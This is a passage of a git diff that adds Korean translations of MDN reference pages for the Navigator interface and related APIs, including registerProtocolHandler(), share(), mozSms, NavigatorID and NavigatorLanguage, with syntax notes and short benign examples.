+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+ <dt>{{domxref("NavigatorStorage.storage")}} {{readonlyinline}}</dt>
+ <dd>Returns the singleton {{domxref('StorageManager')}} object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+ <dt>{{domxref("Navigator.vendor")}} {{readonlyInline}}</dt>
+ <dd>Returns the vendor name of the current browser (e.g., "Netscape6").</dd>
+ <dt>{{domxref("Navigator.webdriver")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Indicates whether the user agent is controlled by automation.</dd>
+ <dt>{{domxref("Navigator.xr")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns {{domxref("XR")}} object, which represents the entry point into the <a href="/en-US/docs/Web/API/WebXR_API">WebXR API</a>.</dd>
+</dl>
+
+<h3 id="비표준_속성">비표준 속성</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build identifier of the browser. In modern browsers this property now returns a fixed timestamp as a privacy measure, e.g. <code>20181001000000</code> in Firefox 64 onwards.</dd>
+ <dt>{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Returns an empty string. In Netscape 4.7x, returns "US &amp; CA domestic policy" or "Export policy".</dd>
+ <dt>{{domxref("Navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.</dd>
+ <dt>{{domxref("Navigator.wakeLock")}} {{readonlyInline}} {{non-standard_inline}}</dt>
+ <dd>Returns a {{domxref("WakeLock")}} interface you can use to request screen wake locks and prevent screen from dimming, turning off, or showing a screen saver.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>아무 메서드도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorUserMedia")}}, {{domxref("NavigatorStorageUtils")}}가 정의하는 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Navigator.canShare()")}}</dt>
+ <dd>Returns <code>true</code> if a call to <code>Navigator.share()</code> would succeed.</dd>
+ <dt>{{domxref("Navigator.registerProtocolHandler()")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given protocol.</dd>
+ <dt>{{domxref("Navigator.requestMediaKeySystemAccess()")}}</dt>
+ <dd>Returns a <span style="line-height: 19.0909080505371px;">{{jsxref("Promise")}} for a MediaKeySystemAccess object.</span></dd>
+ <dt>{{domxref("Navigator.sendBeacon()")}}</dt>
+ <dd>Used to asynchronously transfer a small amount of data using {{Glossary("HTTP")}} from the User Agent to a web server.</dd>
+ <dt>{{domxref("Navigator.share()")}}</dt>
+ <dd>Invokes the native sharing mechanism of the current platform.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}}</dt>
+ <dd>Causes vibration on devices with support for it. Does nothing if vibration support isn't available.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-navigator-object', 'the Navigator object')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<div>{{Compat("api.Navigator")}}</div>
diff --git a/files/ko/web/api/navigator/mediadevices/index.html b/files/ko/web/api/navigator/mediadevices/index.html
new file mode 100644
index 0000000000..01a4984acd
--- /dev/null
+++ b/files/ko/web/api/navigator/mediadevices/index.html
@@ -0,0 +1,56 @@
+---
+title: Navigator.mediaDevices
+slug: Web/API/Navigator/mediaDevices
+tags:
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - Navigator
+  - Property
+  - Read-only
+  - Reference
+  - Web
+translation_of: Web/API/Navigator/mediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><strong><code>Navigator.mediaDevices</code></strong> 읽기 전용 속성은 카메라, 마이크, 화면 공유와 같이 현재 연결된 미디어 입력 장치에 접근할 수 있는 {{domxref("MediaDevices")}} 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>mediaDevices</em> = navigator.mediaDevices;
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("MediaDevices")}} 싱글톤 객체.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Navigator.mediaDevices")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: 전체 미디어 스트림 API 문서의 시작 지점.</li>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC API</a>: 밀접한 관련이 있는 WebRTC API 문서.</li>
+</ul>
diff --git a/files/ko/web/api/navigator/mozmobilemessage/index.html b/files/ko/web/api/navigator/mozmobilemessage/index.html
new file mode 100644
index 0000000000..7645d8d833
--- /dev/null
+++ b/files/ko/web/api/navigator/mozmobilemessage/index.html
@@ -0,0 +1,58 @@
+---
+title: window.navigator.mozMobileMessage
+slug: Web/API/Navigator/mozMobileMessage
+tags:
+  - Non-standard
+  - Obsolete
+translation_of: Archive/B2G_OS/API/Navigator/mozMobileMessage
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>{{ domxref("MozMobileMessageManager") }} 객체를 반환한다. 이 객체는 MMS와 SMS 메시지를 보내거나 받는데 사용된다.</p>
+
+<h2 id="명세">명세</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="설정_이용_가능한_환경">설정 &amp; 이용 가능한 환경</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>WebSMS는 기본적으로 비활성화 되어있습니다. <code>dom.sms.enabled 설정을 true로 지정하여야 활성화됩니다.</code></li>
+ <li>WebSMS API를 사용하도록 허가된 호스트명들의 화이트 리스트(콤마로 구분)는 반드시 <code>dom.sms.whitelist 설정에 명시되어야 합니다. 이 문자열은 기본적으로 빈 문자열입니다.</code></li>
+ <li>WebSMS는 오직 Firefox OS (B2G) 에 인증된 앱에서만 이용 가능합니다.</li>
+ <li>MMS는 Firefox OS 1.1 부터 이용 가능합니다.</li>
+</ul>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">WebSMS API</a></li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+ <li>{{ domxref("window.navigator.mozTelephony") }} for controlling telephone calls.</li>
+ <li>{{ domxref("window.navigator.mozSms") }} for handling SMS only.</li>
+</ul>
diff --git a/files/ko/web/api/navigator/moznotification/index.html b/files/ko/web/api/navigator/moznotification/index.html
new file mode 100644
index 0000000000..9c593ec4a1
--- /dev/null
+++ b/files/ko/web/api/navigator/moznotification/index.html
@@ -0,0 +1,63 @@
+---
+title: navigator.mozNotification
+slug: Web/API/Navigator/mozNotification
+translation_of: Archive/API/Navigator/mozNotification
+---
+<div class="warning">
+<p style="text-align: center;">The support for this property as been dropped in favor of the standard {{domxref("Notification")}} constructor.</p>
+</div>
+
+<p>Provides support for creating {{ domxref("notification") }} objects, which are used to display desktop notification alerts to the user. Currently, these are only supported on Firefox Mobile and Firefox OS. See <a href="/en/DOM/Displaying_notifications" title="en/DOM/Displaying notifications">Displaying notifications</a> for an example.</p>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>notification <a href="#createNotification()">createNotification</a>(in DOMString title, in DOMString description, in DOMString iconURL {{ optional_inline() }});</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="createNotification()" name="createNotification()">createNotification()</h3>
+
+<p>Creates and returns a notification object that can be used to display the specified message with an optional URL.</p>
+
+<pre class="eval">notification createNotification(
+  in DOMString title,
+  in DOMString description,
+  in DOMString iconURL {{ optional_inline() }}
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>알림 타이틀.</dd>
+ <dt><code>description</code></dt>
+ <dd>알림에 표시할 텍스트.</dd>
+ <dt><code>iconURL</code> {{ optional_inline() }}</dt>
+ <dd>A URL identifying the image to display in the notification.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>A new {{ domxref("notification") }} object.</p>
+
+<h2 id="Methods" name="Methods">Permissions</h2>
+
+<p>manifest 파일에 "desktop-notification" permission 을 추가 해야 한다.</p>
+
+<pre class="default prettyprint prettyprinted"><code><span class="str">"permissions"</span><span class="pun">:</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
+    </span><span class="str">"desktop-notification"</span><span class="pun">:{}</span><span class="pln">
+</span><span class="pun">}</span></code></pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("notification") }}</li>
+ <li><a href="/en/DOM/Displaying_notifications" title="en/DOM/Displaying notifications">Displaying notifications</a></li>
+</ul>
diff --git a/files/ko/web/api/navigator/mozsms/index.html b/files/ko/web/api/navigator/mozsms/index.html
new file mode 100644
index 0000000000..d6c9c16983
--- /dev/null
+++ b/files/ko/web/api/navigator/mozsms/index.html
@@ -0,0 +1,67 @@
+---
+title: window.navigator.mozSms
+slug: Web/API/Navigator/mozSms
+tags:
+  - API
+  - Firefox OS
+  - Mobile
+  - Obsolete
+  - Property
+  - WebSMS
+translation_of: Archive/B2G_OS/API/Navigator/mozSms
+---
+<p>{{APIRef("Mobile Messaging API")}}</p>
+
+<div class="blockIndicator obsolete">
+<p><strong>Obsolete since Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)</strong><br>
+ This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<p><code><a href="/ko/docs/Archive/B2G_OS/API/MozSmsManager">MozSmsManager</a></code> 객체를 반환한다. 이 객체는 SMS 메시지를 보내거나 받는데 사용된다.</p>
+
+<div class="blockIndicator note">
+<p>Note: <strong>Do not use anymore! </strong>This object has been removed in favor of <a href="/en-US/docs/Archive/B2G_OS/API/Navigator/mozMobileMessage" title="Returns a MozMobileMessageManager object you can use to receive and send MMS and SMS messages."><code>Navigator.mozMobileMessage</code></a>.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="설정_이용_가능한_환경">설정 &amp; 이용 가능한 환경</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>WebSMS는 기본적으로 비활성화 되어있습니다. <code>dom.sms.enabled</code> 설정을 true로 지정하여야 활성화됩니다.</li>
+ <li>WebSMS API를 사용하도록 허가된 호스트명들의 화이트 리스트(콤마로 구분)는 반드시 <code>dom.sms.whitelist 설정에 명시되어야 합니다. 이 문자열은 기본적으로 빈 문자열입니다.</code></li>
+ <li>WebSMS는 오직 Firefox OS (B2G) 에 인증된 앱에서만 이용 가능합니다.</li>
+</ul>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebSMS" title="/en/docs/API/WebSMS">WebSMS API</a></li>
+ <li>{{ domxref("SmsManager") }}</li>
+ <li>{{ domxref("window.navigator.mozTelephony") }} for controlling telephone calls.</li>
+</ul>
diff --git a/files/ko/web/api/navigator/registerprotocolhandler/index.html b/files/ko/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..1b146a356e
--- /dev/null
+++ b/files/ko/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,125 @@
+---
+title: Navigator.registerProtocolHandler()
+slug: Web/API/Navigator/registerProtocolHandler
+tags:
+  - API
+  - DOM
+  - Method
+  - Navigator
+  - Reference
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<div>{{APIRef("HTML DOM")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary"><strong><code>Navigator.registerProtocolHandler()</code></strong> 메서드는 웹 사이트가 특정 {{glossary("URL")}} 스킴("프로토콜")을 열거나 처리할 수 있도록 등록합니다.</span> 이를테면, 이메일 사이트가 <code>mailto:</code> URL에, <abbr title="Voice over Internet Protocol, 인터넷 전화">VoIP</abbr> 사이트가 <code>tel:</code> URL에 자신을 등록할 때 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.registerProtocolHandler(<var>protocol</var>, <var>url</var>, <var>title</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>protocol</code></dt>
+ <dd>웹 사이트가 처리하고자 하는 프로토콜 문자열. 예컨대 SMS 문자 메시지를 처리하고자 한다면 <code>"sms"</code>를 전달하세요.</dd>
+ <dt><code>url</code></dt>
+ <dd>처리기의 URL. <strong>플레이스홀더로 사용할 <code>%s</code>를 반드시 포함</strong>해야 합니다. 실제 사용 시, <code>%s</code>에는 처리 대상 URL을 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent">이스케이프 처리</a>해 대입합니다.
+ <div class="note"><strong>참고:</strong> 처리기의 URL은 반드시 <code>http</code> 또는 <code>https</code> 스킴을 필요로 합니다. 일부 브라우저는 보안상 <code>https</code>를 요구하므로 <code>https</code>를 사용하는 편이 좋습니다.</div>
+ </dd>
+ <dt><code>title</code></dt>
+ <dd>사람이 읽을 수 있는 형태의 처리기 이름. 브라우저 설정 등 처리기 목록에서 <strong>사용자에게 보이는 이름</strong>입니다.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 등록을 막았습니다. 다음 상황에서 발생할 수 있습니다.
+ <ul>
+  <li>등록하려는 스킴(프로토콜)이 유효하지 않습니다. 브라우저가 직접 처리하는 스킴을 등록하려 하면 발생합니다. (<code>https:</code>, <code>about:</code>, ...)</li>
+  <li>처리기 URL의 {{glossary("출처")}}가 API를 호출한 페이지 출처와 일치하지 않습니다.</li>
+  <li>브라우저가 보안 맥락에서의 <code>registerProtocolHandler()</code> 호출을 요구합니다.</li>
+  <li>브라우저가 처리기 URL의 HTTPS 사용을 요구합니다.</li>
+ </ul>
+ </dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd>처리기 URL에 <code>%s</code> 플레이스홀더가 없습니다.</dd>
+</dl>
+
+<h2 id="가능한_스킴">가능한 스킴</h2>
+
+<p>보안상의 이유로, <code>registerProtocolHandler()</code>가 등록할 수 있는 스킴은 제한적입니다.</p>
+
+<p><strong>사용자 지정 스킴</strong>은 다음 조건을 만족해야 합니다.</p>
+
+<ul>
+ <li>스킴이 <code>web+</code>로 시작합니다.</li>
+ <li><code>web+</code> 접두사 뒤에 다른 글자가 최소 하나 존재해야 합니다.</li>
+ <li>소문자 ASCII 문자로만 구성해야 합니다.</li>
+</ul>
+
+<p>아래 {{anch("예제")}}에서 사용한 <code>web+burger</code>는 제약조건을 만족하는 사용자 지정 스킴입니다.</p>
+
+<p>그 외에는 다음 스킴을 등록할 수 있습니다.</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>bitcoin</code></li>
+ <li><code>geo</code></li>
+ <li><code>im</code></li>
+ <li><code>irc</code></li>
+ <li><code>ircs</code></li>
+ <li><code>magnet</code></li>
+ <li><code>mailto</code></li>
+ <li><code>mms</code></li>
+ <li><code>news</code></li>
+ <li><code>nntp</code></li>
+ <li><code>openpgp4fpr</code></li>
+ <li><code>sip</code></li>
+ <li><code>sms</code></li>
+ <li><code>smsto</code></li>
+ <li><code>ssh</code></li>
+ <li><code>tel</code></li>
+ <li><code>urn</code></li>
+ <li><code>webcal</code></li>
+ <li><code>wtai</code></li>
+ <li><code>xmpp</code></li>
+</ul>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>사이트 주소가 <code>burgers.example.com</code>인 경우, 아래 코드로 <code>web+burger:</code> 스킴에 대한 처리기를 등록할 수 있습니다.</p>
+
+<pre class="brush: js">navigator.registerProtocolHandler("web+burger",
+                                  "https://burgers.example.com/?burger=%s",
+                                  "Burger handler");</pre>
+
+<p>이제, <code>web+burger:</code> 링크는 사용자를 <code>burgers.example.com</code>로 보내고, 자신의 URL을 <code>%s</code> 위치에 삽입합니다.</p>
+
+<p>이때, 예제 코드는 처리기 URL과 같은 {{glossary("출처")}}를 가져야 하므로 <code>https://burgers.example.com</code>의 페이지 안에서 호출해야 하며, 처리기 URL은 <code>http</code>/<code>https</code>를 사용해야 합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'system-state.html#custom-handlers', 'registerProtocolHandler()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Navigator.registerProtocolHandler")}}</p>
diff --git a/files/ko/web/api/navigator/share/index.html b/files/ko/web/api/navigator/share/index.html
new file mode 100644
index 0000000000..852999aeb6
--- /dev/null
+++ b/files/ko/web/api/navigator/share/index.html
@@ -0,0 +1,68 @@
+---
+title: Navigator.share
+slug: Web/API/Navigator/share
+translation_of: Web/API/Navigator/share
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>Navigator.share()</code></strong> 메소드는 Web Share API 의 부분으로서 디바이스의 네이티브 공유하기 메커니즘을 작동시킨다. Web Share API 가 지원되지 않는다면, 이 메소드는 <code>undefined</code> 일 것이다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var sharePromise = window.navigator.share(<var>data</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><var>data</var></dt>
+ <dd>공유할 데이터가 담긴 객체. 아래의 필드들 중 적어도 하나는 명시되어야 한다. 사용 가능한 옵션들은:</dd>
+</dl>
+
+<ul>
+ <li><code>url</code>: 공유될 URL을 나타내는 {{domxref("USVString")}}.</li>
+ <li><code>text</code>: 공유될 본문을 나타내는 {{domxref("USVString")}}.</li>
+ <li><code>title</code>: 공유될 제목을 나타내는 {{domxref("USVString")}}.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>사용자가 공유하기 액션을 완료하면 resolve 될 {{domxref("Promise")}}. <var>data</var> 파라메터가 정확하게 명시되지 않는다면 즉시 reject 될 것이다.</p>
+
+<p>예를 들어, 안드로이드용 크롬에서 반환되는 <code>Promise</code> 는 사용자가 공유할 애플리케이션을 선택한 후에 resolve 될 것이다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">navigator.share({
+  title: document.title,
+  text: 'Hello World',
+  url: 'https://developer.mozilla.org',
+}); // share the URL of MDN</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Share API','#share-method','share()')}}</td>
+   <td>{{Spec2('Web Share API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Navigator.share")}}</p>
diff --git a/files/ko/web/api/navigatorid/index.html b/files/ko/web/api/navigatorid/index.html
new file mode 100644
index 0000000000..d3f1159cc4
--- /dev/null
+++ b/files/ko/web/api/navigatorid/index.html
@@ -0,0 +1,74 @@
+---
+title: NavigatorID
+slug: Web/API/NavigatorID
+translation_of: Web/API/NavigatorID
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code><strong>NavigatorID</strong></code> 인터페이스에는 브라우저의 ID와 관련된 메소드 및 특성이 들어있습니다.</p>
+
+<p><code>NavigatorID</code>, 에는 유형의 객체가 없지만, {{domxref("Navigator")}} 또는 {{domxref("WorkerNavigator")}}와 같은 인터페이스는 이를 포함합니다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>NavigatorID</code></em><em> 인터페이스는 속성을 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}</dt>
+ <dd>모든 브라우저에서 항상 <code>'Mozilla'</code>를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>브라우저의 공식명을 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.</dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>브라우저의 버젼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>브라우저의 플랫폼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>모든 브라우저에서 항상 <code>'Gecko'</code> 를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>현재 브라우저의 사용자 에이전트 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>NavigatorID</code></em><em> 인터페이스는 메소드를 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}</dt>
+ <dd>언제나 <code>false</code>를 반환합니다. 자바스크립트의 taint/untaint 함수는 1.2 버젼에서 없어졌습니다. 이 방법은 호환성 목적으로만 유지됩니다.Not available in workers.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>호환성을 위해 <code>appCodeName</code> 속성과 <code>taintEnabled()</code> 메서드를 추가했습니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>초기 사양</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.NavigatorID")}}</p>
+
+<h2 id="그외에_볼_것">그외에 볼 것</h2>
+
+<ul>
+ <li>{{domxref("Navigator")}} 그리고 {{domxref("WorkerNavigator")}} 인터페이스에 포함된 것.</li>
+</ul>
diff --git a/files/ko/web/api/navigatorlanguage/index.html b/files/ko/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..0bec377b46
--- /dev/null
+++ b/files/ko/web/api/navigatorlanguage/index.html
@@ -0,0 +1,65 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+tags:
+  - API
+  - HTML-DOM
+  - Reference
+translation_of: Web/API/NavigatorLanguage
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code><strong>NavigatorLanguage</strong></code> contains methods and properties related to the language of the navigator.</p>
+
+<p>There is no object of type <code>NavigatorLanguage</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorLanguage</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorLanguage</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the {{SpecName('HTML5 W3C')}} snapshot, the <code>languages</code> property has been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial specification; snapshot of  an early version{{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NavigatorLanguage")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/ko/web/api/navigatorlanguage/language/index.html b/files/ko/web/api/navigatorlanguage/language/index.html
new file mode 100644
index 0000000000..a6488bff2d
--- /dev/null
+++ b/files/ko/web/api/navigatorlanguage/language/index.html
@@ -0,0 +1,133 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/NavigatorLanguage/language
+translation_of: Web/API/NavigatorLanguage/language
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p> </p>
+
+<p>NavigatorLanguage.language 읽기 전용 속성은 사용자의 기본 언어 (일반적으로 브라우저 UI의 언어)를 나타내는 문자열을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>lang</em> = navigator.language
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}}. <em><code>lang</code></em> stores a string representing the language version as defined in <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP 47</a>. Examples of valid language codes include "en", "en-US", "fr", "fr-FR", "es-ES", etc.</p>
+
+<p>Note that in Safari on macOS and iOS prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">if (window.navigator.language != 'en') {
+  doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
